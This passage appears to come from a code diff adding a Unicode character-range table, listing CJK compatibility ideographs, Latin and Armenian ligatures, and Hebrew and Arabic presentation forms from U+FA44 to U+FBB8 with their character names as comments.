+ [0xfa44, 0xfa44], /* CJK COMPATIBILITY IDEOGRAPH-FA44 */
+ [0xfa45, 0xfa45], /* CJK COMPATIBILITY IDEOGRAPH-FA45 */
+ [0xfa46, 0xfa46], /* CJK COMPATIBILITY IDEOGRAPH-FA46 */
+ [0xfa47, 0xfa47], /* CJK COMPATIBILITY IDEOGRAPH-FA47 */
+ [0xfa48, 0xfa48], /* CJK COMPATIBILITY IDEOGRAPH-FA48 */
+ [0xfa49, 0xfa49], /* CJK COMPATIBILITY IDEOGRAPH-FA49 */
+ [0xfa4a, 0xfa4a], /* CJK COMPATIBILITY IDEOGRAPH-FA4A */
+ [0xfa4b, 0xfa4b], /* CJK COMPATIBILITY IDEOGRAPH-FA4B */
+ [0xfa4c, 0xfa4c], /* CJK COMPATIBILITY IDEOGRAPH-FA4C */
+ [0xfa4d, 0xfa4d], /* CJK COMPATIBILITY IDEOGRAPH-FA4D */
+ [0xfa4e, 0xfa4e], /* CJK COMPATIBILITY IDEOGRAPH-FA4E */
+ [0xfa4f, 0xfa4f], /* CJK COMPATIBILITY IDEOGRAPH-FA4F */
+ [0xfa50, 0xfa50], /* CJK COMPATIBILITY IDEOGRAPH-FA50 */
+ [0xfa51, 0xfa51], /* CJK COMPATIBILITY IDEOGRAPH-FA51 */
+ [0xfa52, 0xfa52], /* CJK COMPATIBILITY IDEOGRAPH-FA52 */
+ [0xfa53, 0xfa53], /* CJK COMPATIBILITY IDEOGRAPH-FA53 */
+ [0xfa54, 0xfa54], /* CJK COMPATIBILITY IDEOGRAPH-FA54 */
+ [0xfa55, 0xfa55], /* CJK COMPATIBILITY IDEOGRAPH-FA55 */
+ [0xfa56, 0xfa56], /* CJK COMPATIBILITY IDEOGRAPH-FA56 */
+ [0xfa57, 0xfa57], /* CJK COMPATIBILITY IDEOGRAPH-FA57 */
+ [0xfa58, 0xfa58], /* CJK COMPATIBILITY IDEOGRAPH-FA58 */
+ [0xfa59, 0xfa59], /* CJK COMPATIBILITY IDEOGRAPH-FA59 */
+ [0xfa5a, 0xfa5a], /* CJK COMPATIBILITY IDEOGRAPH-FA5A */
+ [0xfa5b, 0xfa5b], /* CJK COMPATIBILITY IDEOGRAPH-FA5B */
+ [0xfa5c, 0xfa5c], /* CJK COMPATIBILITY IDEOGRAPH-FA5C */
+ [0xfa5d, 0xfa5d], /* CJK COMPATIBILITY IDEOGRAPH-FA5D */
+ [0xfa5e, 0xfa5e], /* CJK COMPATIBILITY IDEOGRAPH-FA5E */
+ [0xfa5f, 0xfa5f], /* CJK COMPATIBILITY IDEOGRAPH-FA5F */
+ [0xfa60, 0xfa60], /* CJK COMPATIBILITY IDEOGRAPH-FA60 */
+ [0xfa61, 0xfa61], /* CJK COMPATIBILITY IDEOGRAPH-FA61 */
+ [0xfa62, 0xfa62], /* CJK COMPATIBILITY IDEOGRAPH-FA62 */
+ [0xfa63, 0xfa63], /* CJK COMPATIBILITY IDEOGRAPH-FA63 */
+ [0xfa64, 0xfa64], /* CJK COMPATIBILITY IDEOGRAPH-FA64 */
+ [0xfa65, 0xfa65], /* CJK COMPATIBILITY IDEOGRAPH-FA65 */
+ [0xfa66, 0xfa66], /* CJK COMPATIBILITY IDEOGRAPH-FA66 */
+ [0xfa67, 0xfa67], /* CJK COMPATIBILITY IDEOGRAPH-FA67 */
+ [0xfa68, 0xfa68], /* CJK COMPATIBILITY IDEOGRAPH-FA68 */
+ [0xfa69, 0xfa69], /* CJK COMPATIBILITY IDEOGRAPH-FA69 */
+ [0xfa6a, 0xfa6a], /* CJK COMPATIBILITY IDEOGRAPH-FA6A */
+ [0xfa6b, 0xfa6b], /* CJK COMPATIBILITY IDEOGRAPH-FA6B */
+ [0xfa6c, 0xfa6c], /* CJK COMPATIBILITY IDEOGRAPH-FA6C */
+ [0xfa6d, 0xfa6d], /* CJK COMPATIBILITY IDEOGRAPH-FA6D */
+ [0xfa6e, 0xfa6e],
+ [0xfa6f, 0xfa6f],
+ [0xfa70, 0xfa70], /* CJK COMPATIBILITY IDEOGRAPH-FA70 */
+ [0xfa71, 0xfa71], /* CJK COMPATIBILITY IDEOGRAPH-FA71 */
+ [0xfa72, 0xfa72], /* CJK COMPATIBILITY IDEOGRAPH-FA72 */
+ [0xfa73, 0xfa73], /* CJK COMPATIBILITY IDEOGRAPH-FA73 */
+ [0xfa74, 0xfa74], /* CJK COMPATIBILITY IDEOGRAPH-FA74 */
+ [0xfa75, 0xfa75], /* CJK COMPATIBILITY IDEOGRAPH-FA75 */
+ [0xfa76, 0xfa76], /* CJK COMPATIBILITY IDEOGRAPH-FA76 */
+ [0xfa77, 0xfa77], /* CJK COMPATIBILITY IDEOGRAPH-FA77 */
+ [0xfa78, 0xfa78], /* CJK COMPATIBILITY IDEOGRAPH-FA78 */
+ [0xfa79, 0xfa79], /* CJK COMPATIBILITY IDEOGRAPH-FA79 */
+ [0xfa7a, 0xfa7a], /* CJK COMPATIBILITY IDEOGRAPH-FA7A */
+ [0xfa7b, 0xfa7b], /* CJK COMPATIBILITY IDEOGRAPH-FA7B */
+ [0xfa7c, 0xfa7c], /* CJK COMPATIBILITY IDEOGRAPH-FA7C */
+ [0xfa7d, 0xfa7d], /* CJK COMPATIBILITY IDEOGRAPH-FA7D */
+ [0xfa7e, 0xfa7e], /* CJK COMPATIBILITY IDEOGRAPH-FA7E */
+ [0xfa7f, 0xfa7f], /* CJK COMPATIBILITY IDEOGRAPH-FA7F */
+ [0xfa80, 0xfa80], /* CJK COMPATIBILITY IDEOGRAPH-FA80 */
+ [0xfa81, 0xfa81], /* CJK COMPATIBILITY IDEOGRAPH-FA81 */
+ [0xfa82, 0xfa82], /* CJK COMPATIBILITY IDEOGRAPH-FA82 */
+ [0xfa83, 0xfa83], /* CJK COMPATIBILITY IDEOGRAPH-FA83 */
+ [0xfa84, 0xfa84], /* CJK COMPATIBILITY IDEOGRAPH-FA84 */
+ [0xfa85, 0xfa85], /* CJK COMPATIBILITY IDEOGRAPH-FA85 */
+ [0xfa86, 0xfa86], /* CJK COMPATIBILITY IDEOGRAPH-FA86 */
+ [0xfa87, 0xfa87], /* CJK COMPATIBILITY IDEOGRAPH-FA87 */
+ [0xfa88, 0xfa88], /* CJK COMPATIBILITY IDEOGRAPH-FA88 */
+ [0xfa89, 0xfa89], /* CJK COMPATIBILITY IDEOGRAPH-FA89 */
+ [0xfa8a, 0xfa8a], /* CJK COMPATIBILITY IDEOGRAPH-FA8A */
+ [0xfa8b, 0xfa8b], /* CJK COMPATIBILITY IDEOGRAPH-FA8B */
+ [0xfa8c, 0xfa8c], /* CJK COMPATIBILITY IDEOGRAPH-FA8C */
+ [0xfa8d, 0xfa8d], /* CJK COMPATIBILITY IDEOGRAPH-FA8D */
+ [0xfa8e, 0xfa8e], /* CJK COMPATIBILITY IDEOGRAPH-FA8E */
+ [0xfa8f, 0xfa8f], /* CJK COMPATIBILITY IDEOGRAPH-FA8F */
+ [0xfa90, 0xfa90], /* CJK COMPATIBILITY IDEOGRAPH-FA90 */
+ [0xfa91, 0xfa91], /* CJK COMPATIBILITY IDEOGRAPH-FA91 */
+ [0xfa92, 0xfa92], /* CJK COMPATIBILITY IDEOGRAPH-FA92 */
+ [0xfa93, 0xfa93], /* CJK COMPATIBILITY IDEOGRAPH-FA93 */
+ [0xfa94, 0xfa94], /* CJK COMPATIBILITY IDEOGRAPH-FA94 */
+ [0xfa95, 0xfa95], /* CJK COMPATIBILITY IDEOGRAPH-FA95 */
+ [0xfa96, 0xfa96], /* CJK COMPATIBILITY IDEOGRAPH-FA96 */
+ [0xfa97, 0xfa97], /* CJK COMPATIBILITY IDEOGRAPH-FA97 */
+ [0xfa98, 0xfa98], /* CJK COMPATIBILITY IDEOGRAPH-FA98 */
+ [0xfa99, 0xfa99], /* CJK COMPATIBILITY IDEOGRAPH-FA99 */
+ [0xfa9a, 0xfa9a], /* CJK COMPATIBILITY IDEOGRAPH-FA9A */
+ [0xfa9b, 0xfa9b], /* CJK COMPATIBILITY IDEOGRAPH-FA9B */
+ [0xfa9c, 0xfa9c], /* CJK COMPATIBILITY IDEOGRAPH-FA9C */
+ [0xfa9d, 0xfa9d], /* CJK COMPATIBILITY IDEOGRAPH-FA9D */
+ [0xfa9e, 0xfa9e], /* CJK COMPATIBILITY IDEOGRAPH-FA9E */
+ [0xfa9f, 0xfa9f], /* CJK COMPATIBILITY IDEOGRAPH-FA9F */
+ [0xfaa0, 0xfaa0], /* CJK COMPATIBILITY IDEOGRAPH-FAA0 */
+ [0xfaa1, 0xfaa1], /* CJK COMPATIBILITY IDEOGRAPH-FAA1 */
+ [0xfaa2, 0xfaa2], /* CJK COMPATIBILITY IDEOGRAPH-FAA2 */
+ [0xfaa3, 0xfaa3], /* CJK COMPATIBILITY IDEOGRAPH-FAA3 */
+ [0xfaa4, 0xfaa4], /* CJK COMPATIBILITY IDEOGRAPH-FAA4 */
+ [0xfaa5, 0xfaa5], /* CJK COMPATIBILITY IDEOGRAPH-FAA5 */
+ [0xfaa6, 0xfaa6], /* CJK COMPATIBILITY IDEOGRAPH-FAA6 */
+ [0xfaa7, 0xfaa7], /* CJK COMPATIBILITY IDEOGRAPH-FAA7 */
+ [0xfaa8, 0xfaa8], /* CJK COMPATIBILITY IDEOGRAPH-FAA8 */
+ [0xfaa9, 0xfaa9], /* CJK COMPATIBILITY IDEOGRAPH-FAA9 */
+ [0xfaaa, 0xfaaa], /* CJK COMPATIBILITY IDEOGRAPH-FAAA */
+ [0xfaab, 0xfaab], /* CJK COMPATIBILITY IDEOGRAPH-FAAB */
+ [0xfaac, 0xfaac], /* CJK COMPATIBILITY IDEOGRAPH-FAAC */
+ [0xfaad, 0xfaad], /* CJK COMPATIBILITY IDEOGRAPH-FAAD */
+ [0xfaae, 0xfaae], /* CJK COMPATIBILITY IDEOGRAPH-FAAE */
+ [0xfaaf, 0xfaaf], /* CJK COMPATIBILITY IDEOGRAPH-FAAF */
+ [0xfab0, 0xfab0], /* CJK COMPATIBILITY IDEOGRAPH-FAB0 */
+ [0xfab1, 0xfab1], /* CJK COMPATIBILITY IDEOGRAPH-FAB1 */
+ [0xfab2, 0xfab2], /* CJK COMPATIBILITY IDEOGRAPH-FAB2 */
+ [0xfab3, 0xfab3], /* CJK COMPATIBILITY IDEOGRAPH-FAB3 */
+ [0xfab4, 0xfab4], /* CJK COMPATIBILITY IDEOGRAPH-FAB4 */
+ [0xfab5, 0xfab5], /* CJK COMPATIBILITY IDEOGRAPH-FAB5 */
+ [0xfab6, 0xfab6], /* CJK COMPATIBILITY IDEOGRAPH-FAB6 */
+ [0xfab7, 0xfab7], /* CJK COMPATIBILITY IDEOGRAPH-FAB7 */
+ [0xfab8, 0xfab8], /* CJK COMPATIBILITY IDEOGRAPH-FAB8 */
+ [0xfab9, 0xfab9], /* CJK COMPATIBILITY IDEOGRAPH-FAB9 */
+ [0xfaba, 0xfaba], /* CJK COMPATIBILITY IDEOGRAPH-FABA */
+ [0xfabb, 0xfabb], /* CJK COMPATIBILITY IDEOGRAPH-FABB */
+ [0xfabc, 0xfabc], /* CJK COMPATIBILITY IDEOGRAPH-FABC */
+ [0xfabd, 0xfabd], /* CJK COMPATIBILITY IDEOGRAPH-FABD */
+ [0xfabe, 0xfabe], /* CJK COMPATIBILITY IDEOGRAPH-FABE */
+ [0xfabf, 0xfabf], /* CJK COMPATIBILITY IDEOGRAPH-FABF */
+ [0xfac0, 0xfac0], /* CJK COMPATIBILITY IDEOGRAPH-FAC0 */
+ [0xfac1, 0xfac1], /* CJK COMPATIBILITY IDEOGRAPH-FAC1 */
+ [0xfac2, 0xfac2], /* CJK COMPATIBILITY IDEOGRAPH-FAC2 */
+ [0xfac3, 0xfac3], /* CJK COMPATIBILITY IDEOGRAPH-FAC3 */
+ [0xfac4, 0xfac4], /* CJK COMPATIBILITY IDEOGRAPH-FAC4 */
+ [0xfac5, 0xfac5], /* CJK COMPATIBILITY IDEOGRAPH-FAC5 */
+ [0xfac6, 0xfac6], /* CJK COMPATIBILITY IDEOGRAPH-FAC6 */
+ [0xfac7, 0xfac7], /* CJK COMPATIBILITY IDEOGRAPH-FAC7 */
+ [0xfac8, 0xfac8], /* CJK COMPATIBILITY IDEOGRAPH-FAC8 */
+ [0xfac9, 0xfac9], /* CJK COMPATIBILITY IDEOGRAPH-FAC9 */
+ [0xfaca, 0xfaca], /* CJK COMPATIBILITY IDEOGRAPH-FACA */
+ [0xfacb, 0xfacb], /* CJK COMPATIBILITY IDEOGRAPH-FACB */
+ [0xfacc, 0xfacc], /* CJK COMPATIBILITY IDEOGRAPH-FACC */
+ [0xfacd, 0xfacd], /* CJK COMPATIBILITY IDEOGRAPH-FACD */
+ [0xface, 0xface], /* CJK COMPATIBILITY IDEOGRAPH-FACE */
+ [0xfacf, 0xfacf], /* CJK COMPATIBILITY IDEOGRAPH-FACF */
+ [0xfad0, 0xfad0], /* CJK COMPATIBILITY IDEOGRAPH-FAD0 */
+ [0xfad1, 0xfad1], /* CJK COMPATIBILITY IDEOGRAPH-FAD1 */
+ [0xfad2, 0xfad2], /* CJK COMPATIBILITY IDEOGRAPH-FAD2 */
+ [0xfad3, 0xfad3], /* CJK COMPATIBILITY IDEOGRAPH-FAD3 */
+ [0xfad4, 0xfad4], /* CJK COMPATIBILITY IDEOGRAPH-FAD4 */
+ [0xfad5, 0xfad5], /* CJK COMPATIBILITY IDEOGRAPH-FAD5 */
+ [0xfad6, 0xfad6], /* CJK COMPATIBILITY IDEOGRAPH-FAD6 */
+ [0xfad7, 0xfad7], /* CJK COMPATIBILITY IDEOGRAPH-FAD7 */
+ [0xfad8, 0xfad8], /* CJK COMPATIBILITY IDEOGRAPH-FAD8 */
+ [0xfad9, 0xfad9], /* CJK COMPATIBILITY IDEOGRAPH-FAD9 */
+ [0xfada, 0xfada],
+ [0xfadb, 0xfadb],
+ [0xfadc, 0xfadc],
+ [0xfadd, 0xfadd],
+ [0xfade, 0xfade],
+ [0xfadf, 0xfadf],
+ [0xfae0, 0xfae0],
+ [0xfae1, 0xfae1],
+ [0xfae2, 0xfae2],
+ [0xfae3, 0xfae3],
+ [0xfae4, 0xfae4],
+ [0xfae5, 0xfae5],
+ [0xfae6, 0xfae6],
+ [0xfae7, 0xfae7],
+ [0xfae8, 0xfae8],
+ [0xfae9, 0xfae9],
+ [0xfaea, 0xfaea],
+ [0xfaeb, 0xfaeb],
+ [0xfaec, 0xfaec],
+ [0xfaed, 0xfaed],
+ [0xfaee, 0xfaee],
+ [0xfaef, 0xfaef],
+ [0xfaf0, 0xfaf0],
+ [0xfaf1, 0xfaf1],
+ [0xfaf2, 0xfaf2],
+ [0xfaf3, 0xfaf3],
+ [0xfaf4, 0xfaf4],
+ [0xfaf5, 0xfaf5],
+ [0xfaf6, 0xfaf6],
+ [0xfaf7, 0xfaf7],
+ [0xfaf8, 0xfaf8],
+ [0xfaf9, 0xfaf9],
+ [0xfafa, 0xfafa],
+ [0xfafb, 0xfafb],
+ [0xfafc, 0xfafc],
+ [0xfafd, 0xfafd],
+ [0xfafe, 0xfafe],
+ [0xfaff, 0xfaff],
+ [0xfb00, 0xfb00], /* LATIN SMALL LIGATURE FF */
+ [0xfb01, 0xfb01], /* LATIN SMALL LIGATURE FI */
+ [0xfb02, 0xfb02], /* LATIN SMALL LIGATURE FL */
+ [0xfb03, 0xfb03], /* LATIN SMALL LIGATURE FFI */
+ [0xfb04, 0xfb04], /* LATIN SMALL LIGATURE FFL */
+ [0xfb05, 0xfb05], /* LATIN SMALL LIGATURE LONG S T */
+ [0xfb06, 0xfb06], /* LATIN SMALL LIGATURE ST */
+ [0xfb07, 0xfb07],
+ [0xfb08, 0xfb08],
+ [0xfb09, 0xfb09],
+ [0xfb0a, 0xfb0a],
+ [0xfb0b, 0xfb0b],
+ [0xfb0c, 0xfb0c],
+ [0xfb0d, 0xfb0d],
+ [0xfb0e, 0xfb0e],
+ [0xfb0f, 0xfb0f],
+ [0xfb10, 0xfb10],
+ [0xfb11, 0xfb11],
+ [0xfb12, 0xfb12],
+ [0xfb13, 0xfb13], /* ARMENIAN SMALL LIGATURE MEN NOW */
+ [0xfb14, 0xfb14], /* ARMENIAN SMALL LIGATURE MEN ECH */
+ [0xfb15, 0xfb15], /* ARMENIAN SMALL LIGATURE MEN INI */
+ [0xfb16, 0xfb16], /* ARMENIAN SMALL LIGATURE VEW NOW */
+ [0xfb17, 0xfb17], /* ARMENIAN SMALL LIGATURE MEN XEH */
+ [0xfb18, 0xfb18],
+ [0xfb19, 0xfb19],
+ [0xfb1a, 0xfb1a],
+ [0xfb1b, 0xfb1b],
+ [0xfb1c, 0xfb1c],
+ [0xfb1d, 0xfb1d], /* HEBREW LETTER YOD WITH HIRIQ */
+ [0xfb1e, 0xfb1e], /* HEBREW POINT JUDEO-SPANISH VARIKA (HEBREW POINT VARIKA) */
+ [0xfb1f, 0xfb1f], /* HEBREW LIGATURE YIDDISH YOD YOD PATAH */
+ [0xfb20, 0xfb20], /* HEBREW LETTER ALTERNATIVE AYIN */
+ [0xfb21, 0xfb21], /* HEBREW LETTER WIDE ALEF */
+ [0xfb22, 0xfb22], /* HEBREW LETTER WIDE DALET */
+ [0xfb23, 0xfb23], /* HEBREW LETTER WIDE HE */
+ [0xfb24, 0xfb24], /* HEBREW LETTER WIDE KAF */
+ [0xfb25, 0xfb25], /* HEBREW LETTER WIDE LAMED */
+ [0xfb26, 0xfb26], /* HEBREW LETTER WIDE FINAL MEM */
+ [0xfb27, 0xfb27], /* HEBREW LETTER WIDE RESH */
+ [0xfb28, 0xfb28], /* HEBREW LETTER WIDE TAV */
+ [0xfb29, 0xfb29], /* HEBREW LETTER ALTERNATIVE PLUS SIGN */
+ [0xfb2a, 0xfb2a], /* HEBREW LETTER SHIN WITH SHIN DOT */
+ [0xfb2b, 0xfb2b], /* HEBREW LETTER SHIN WITH SIN DOT */
+ [0xfb2c, 0xfb2c], /* HEBREW LETTER SHIN WITH DAGESH AND SHIN DOT */
+ [0xfb2d, 0xfb2d], /* HEBREW LETTER SHIN WITH DAGESH AND SIN DOT */
+ [0xfb2e, 0xfb2e], /* HEBREW LETTER ALEF WITH PATAH */
+ [0xfb2f, 0xfb2f], /* HEBREW LETTER ALEF WITH QAMATS */
+ [0xfb30, 0xfb30], /* HEBREW LETTER ALEF WITH MAPIQ */
+ [0xfb31, 0xfb31], /* HEBREW LETTER BET WITH DAGESH */
+ [0xfb32, 0xfb32], /* HEBREW LETTER GIMEL WITH DAGESH */
+ [0xfb33, 0xfb33], /* HEBREW LETTER DALET WITH DAGESH */
+ [0xfb34, 0xfb34], /* HEBREW LETTER HE WITH MAPIQ */
+ [0xfb35, 0xfb35], /* HEBREW LETTER VAV WITH DAGESH */
+ [0xfb36, 0xfb36], /* HEBREW LETTER ZAYIN WITH DAGESH */
+ [0xfb37, 0xfb37],
+ [0xfb38, 0xfb38], /* HEBREW LETTER TET WITH DAGESH */
+ [0xfb39, 0xfb39], /* HEBREW LETTER YOD WITH DAGESH */
+ [0xfb3a, 0xfb3a], /* HEBREW LETTER FINAL KAF WITH DAGESH */
+ [0xfb3b, 0xfb3b], /* HEBREW LETTER KAF WITH DAGESH */
+ [0xfb3c, 0xfb3c], /* HEBREW LETTER LAMED WITH DAGESH */
+ [0xfb3d, 0xfb3d],
+ [0xfb3e, 0xfb3e], /* HEBREW LETTER MEM WITH DAGESH */
+ [0xfb3f, 0xfb3f],
+ [0xfb40, 0xfb40], /* HEBREW LETTER NUN WITH DAGESH */
+ [0xfb41, 0xfb41], /* HEBREW LETTER SAMEKH WITH DAGESH */
+ [0xfb42, 0xfb42],
+ [0xfb43, 0xfb43], /* HEBREW LETTER FINAL PE WITH DAGESH */
+ [0xfb44, 0xfb44], /* HEBREW LETTER PE WITH DAGESH */
+ [0xfb45, 0xfb45],
+ [0xfb46, 0xfb46], /* HEBREW LETTER TSADI WITH DAGESH */
+ [0xfb47, 0xfb47], /* HEBREW LETTER QOF WITH DAGESH */
+ [0xfb48, 0xfb48], /* HEBREW LETTER RESH WITH DAGESH */
+ [0xfb49, 0xfb49], /* HEBREW LETTER SHIN WITH DAGESH */
+ [0xfb4a, 0xfb4a], /* HEBREW LETTER TAV WITH DAGESH */
+ [0xfb4b, 0xfb4b], /* HEBREW LETTER VAV WITH HOLAM */
+ [0xfb4c, 0xfb4c], /* HEBREW LETTER BET WITH RAFE */
+ [0xfb4d, 0xfb4d], /* HEBREW LETTER KAF WITH RAFE */
+ [0xfb4e, 0xfb4e], /* HEBREW LETTER PE WITH RAFE */
+ [0xfb4f, 0xfb4f], /* HEBREW LIGATURE ALEF LAMED */
+ [0xfb50, 0xfb50], /* ARABIC LETTER ALEF WASLA ISOLATED FORM */
+ [0xfb51, 0xfb51], /* ARABIC LETTER ALEF WASLA FINAL FORM */
+ [0xfb52, 0xfb52], /* ARABIC LETTER BEEH ISOLATED FORM */
+ [0xfb53, 0xfb53], /* ARABIC LETTER BEEH FINAL FORM */
+ [0xfb54, 0xfb54], /* ARABIC LETTER BEEH INITIAL FORM */
+ [0xfb55, 0xfb55], /* ARABIC LETTER BEEH MEDIAL FORM */
+ [0xfb56, 0xfb56], /* ARABIC LETTER PEH ISOLATED FORM */
+ [0xfb57, 0xfb57], /* ARABIC LETTER PEH FINAL FORM */
+ [0xfb58, 0xfb58], /* ARABIC LETTER PEH INITIAL FORM */
+ [0xfb59, 0xfb59], /* ARABIC LETTER PEH MEDIAL FORM */
+ [0xfb5a, 0xfb5a], /* ARABIC LETTER BEHEH ISOLATED FORM */
+ [0xfb5b, 0xfb5b], /* ARABIC LETTER BEHEH FINAL FORM */
+ [0xfb5c, 0xfb5c], /* ARABIC LETTER BEHEH INITIAL FORM */
+ [0xfb5d, 0xfb5d], /* ARABIC LETTER BEHEH MEDIAL FORM */
+ [0xfb5e, 0xfb5e], /* ARABIC LETTER TTEHEH ISOLATED FORM */
+ [0xfb5f, 0xfb5f], /* ARABIC LETTER TTEHEH FINAL FORM */
+ [0xfb60, 0xfb60], /* ARABIC LETTER TTEHEH INITIAL FORM */
+ [0xfb61, 0xfb61], /* ARABIC LETTER TTEHEH MEDIAL FORM */
+ [0xfb62, 0xfb62], /* ARABIC LETTER TEHEH ISOLATED FORM */
+ [0xfb63, 0xfb63], /* ARABIC LETTER TEHEH FINAL FORM */
+ [0xfb64, 0xfb64], /* ARABIC LETTER TEHEH INITIAL FORM */
+ [0xfb65, 0xfb65], /* ARABIC LETTER TEHEH MEDIAL FORM */
+ [0xfb66, 0xfb66], /* ARABIC LETTER TTEH ISOLATED FORM */
+ [0xfb67, 0xfb67], /* ARABIC LETTER TTEH FINAL FORM */
+ [0xfb68, 0xfb68], /* ARABIC LETTER TTEH INITIAL FORM */
+ [0xfb69, 0xfb69], /* ARABIC LETTER TTEH MEDIAL FORM */
+ [0xfb6a, 0xfb6a], /* ARABIC LETTER VEH ISOLATED FORM */
+ [0xfb6b, 0xfb6b], /* ARABIC LETTER VEH FINAL FORM */
+ [0xfb6c, 0xfb6c], /* ARABIC LETTER VEH INITIAL FORM */
+ [0xfb6d, 0xfb6d], /* ARABIC LETTER VEH MEDIAL FORM */
+ [0xfb6e, 0xfb6e], /* ARABIC LETTER PEHEH ISOLATED FORM */
+ [0xfb6f, 0xfb6f], /* ARABIC LETTER PEHEH FINAL FORM */
+ [0xfb70, 0xfb70], /* ARABIC LETTER PEHEH INITIAL FORM */
+ [0xfb71, 0xfb71], /* ARABIC LETTER PEHEH MEDIAL FORM */
+ [0xfb72, 0xfb72], /* ARABIC LETTER DYEH ISOLATED FORM */
+ [0xfb73, 0xfb73], /* ARABIC LETTER DYEH FINAL FORM */
+ [0xfb74, 0xfb74], /* ARABIC LETTER DYEH INITIAL FORM */
+ [0xfb75, 0xfb75], /* ARABIC LETTER DYEH MEDIAL FORM */
+ [0xfb76, 0xfb76], /* ARABIC LETTER NYEH ISOLATED FORM */
+ [0xfb77, 0xfb77], /* ARABIC LETTER NYEH FINAL FORM */
+ [0xfb78, 0xfb78], /* ARABIC LETTER NYEH INITIAL FORM */
+ [0xfb79, 0xfb79], /* ARABIC LETTER NYEH MEDIAL FORM */
+ [0xfb7a, 0xfb7a], /* ARABIC LETTER TCHEH ISOLATED FORM */
+ [0xfb7b, 0xfb7b], /* ARABIC LETTER TCHEH FINAL FORM */
+ [0xfb7c, 0xfb7c], /* ARABIC LETTER TCHEH INITIAL FORM */
+ [0xfb7d, 0xfb7d], /* ARABIC LETTER TCHEH MEDIAL FORM */
+ [0xfb7e, 0xfb7e], /* ARABIC LETTER TCHEHEH ISOLATED FORM */
+ [0xfb7f, 0xfb7f], /* ARABIC LETTER TCHEHEH FINAL FORM */
+ [0xfb80, 0xfb80], /* ARABIC LETTER TCHEHEH INITIAL FORM */
+ [0xfb81, 0xfb81], /* ARABIC LETTER TCHEHEH MEDIAL FORM */
+ [0xfb82, 0xfb82], /* ARABIC LETTER DDAHAL ISOLATED FORM */
+ [0xfb83, 0xfb83], /* ARABIC LETTER DDAHAL FINAL FORM */
+ [0xfb84, 0xfb84], /* ARABIC LETTER DAHAL ISOLATED FORM */
+ [0xfb85, 0xfb85], /* ARABIC LETTER DAHAL FINAL FORM */
+ [0xfb86, 0xfb86], /* ARABIC LETTER DUL ISOLATED FORM */
+ [0xfb87, 0xfb87], /* ARABIC LETTER DUL FINAL FORM */
+ [0xfb88, 0xfb88], /* ARABIC LETTER DDAL ISOLATED FORM */
+ [0xfb89, 0xfb89], /* ARABIC LETTER DDAL FINAL FORM */
+ [0xfb8a, 0xfb8a], /* ARABIC LETTER JEH ISOLATED FORM */
+ [0xfb8b, 0xfb8b], /* ARABIC LETTER JEH FINAL FORM */
+ [0xfb8c, 0xfb8c], /* ARABIC LETTER RREH ISOLATED FORM */
+ [0xfb8d, 0xfb8d], /* ARABIC LETTER RREH FINAL FORM */
+ [0xfb8e, 0xfb8e], /* ARABIC LETTER KEHEH ISOLATED FORM */
+ [0xfb8f, 0xfb8f], /* ARABIC LETTER KEHEH FINAL FORM */
+ [0xfb90, 0xfb90], /* ARABIC LETTER KEHEH INITIAL FORM */
+ [0xfb91, 0xfb91], /* ARABIC LETTER KEHEH MEDIAL FORM */
+ [0xfb92, 0xfb92], /* ARABIC LETTER GAF ISOLATED FORM */
+ [0xfb93, 0xfb93], /* ARABIC LETTER GAF FINAL FORM */
+ [0xfb94, 0xfb94], /* ARABIC LETTER GAF INITIAL FORM */
+ [0xfb95, 0xfb95], /* ARABIC LETTER GAF MEDIAL FORM */
+ [0xfb96, 0xfb96], /* ARABIC LETTER GUEH ISOLATED FORM */
+ [0xfb97, 0xfb97], /* ARABIC LETTER GUEH FINAL FORM */
+ [0xfb98, 0xfb98], /* ARABIC LETTER GUEH INITIAL FORM */
+ [0xfb99, 0xfb99], /* ARABIC LETTER GUEH MEDIAL FORM */
+ [0xfb9a, 0xfb9a], /* ARABIC LETTER NGOEH ISOLATED FORM */
+ [0xfb9b, 0xfb9b], /* ARABIC LETTER NGOEH FINAL FORM */
+ [0xfb9c, 0xfb9c], /* ARABIC LETTER NGOEH INITIAL FORM */
+ [0xfb9d, 0xfb9d], /* ARABIC LETTER NGOEH MEDIAL FORM */
+ [0xfb9e, 0xfb9e], /* ARABIC LETTER NOON GHUNNA ISOLATED FORM */
+ [0xfb9f, 0xfb9f], /* ARABIC LETTER NOON GHUNNA FINAL FORM */
+ [0xfba0, 0xfba0], /* ARABIC LETTER RNOON ISOLATED FORM */
+ [0xfba1, 0xfba1], /* ARABIC LETTER RNOON FINAL FORM */
+ [0xfba2, 0xfba2], /* ARABIC LETTER RNOON INITIAL FORM */
+ [0xfba3, 0xfba3], /* ARABIC LETTER RNOON MEDIAL FORM */
+ [0xfba4, 0xfba4], /* ARABIC LETTER HEH WITH YEH ABOVE ISOLATED FORM */
+ [0xfba5, 0xfba5], /* ARABIC LETTER HEH WITH YEH ABOVE FINAL FORM */
+ [0xfba6, 0xfba6], /* ARABIC LETTER HEH GOAL ISOLATED FORM */
+ [0xfba7, 0xfba7], /* ARABIC LETTER HEH GOAL FINAL FORM */
+ [0xfba8, 0xfba8], /* ARABIC LETTER HEH GOAL INITIAL FORM */
+ [0xfba9, 0xfba9], /* ARABIC LETTER HEH GOAL MEDIAL FORM */
+ [0xfbaa, 0xfbaa], /* ARABIC LETTER HEH DOACHASHMEE ISOLATED FORM */
+ [0xfbab, 0xfbab], /* ARABIC LETTER HEH DOACHASHMEE FINAL FORM */
+ [0xfbac, 0xfbac], /* ARABIC LETTER HEH DOACHASHMEE INITIAL FORM */
+ [0xfbad, 0xfbad], /* ARABIC LETTER HEH DOACHASHMEE MEDIAL FORM */
+ [0xfbae, 0xfbae], /* ARABIC LETTER YEH BARREE ISOLATED FORM */
+ [0xfbaf, 0xfbaf], /* ARABIC LETTER YEH BARREE FINAL FORM */
+ [0xfbb0, 0xfbb0], /* ARABIC LETTER YEH BARREE WITH HAMZA ABOVE ISOLATED FORM */
+ [0xfbb1, 0xfbb1], /* ARABIC LETTER YEH BARREE WITH HAMZA ABOVE FINAL FORM */
+ [0xfbb2, 0xfbb2], /* ARABIC SYMBOL DOT ABOVE */
+ [0xfbb3, 0xfbb3], /* ARABIC SYMBOL DOT BELOW */
+ [0xfbb4, 0xfbb4], /* ARABIC SYMBOL TWO DOTS ABOVE */
+ [0xfbb5, 0xfbb5], /* ARABIC SYMBOL TWO DOTS BELOW */
+ [0xfbb6, 0xfbb6], /* ARABIC SYMBOL THREE DOTS ABOVE */
+ [0xfbb7, 0xfbb7], /* ARABIC SYMBOL THREE DOTS BELOW */
+ [0xfbb8, 0xfbb8], /* ARABIC SYMBOL THREE DOTS POINTING DOWNWARDS ABOVE */
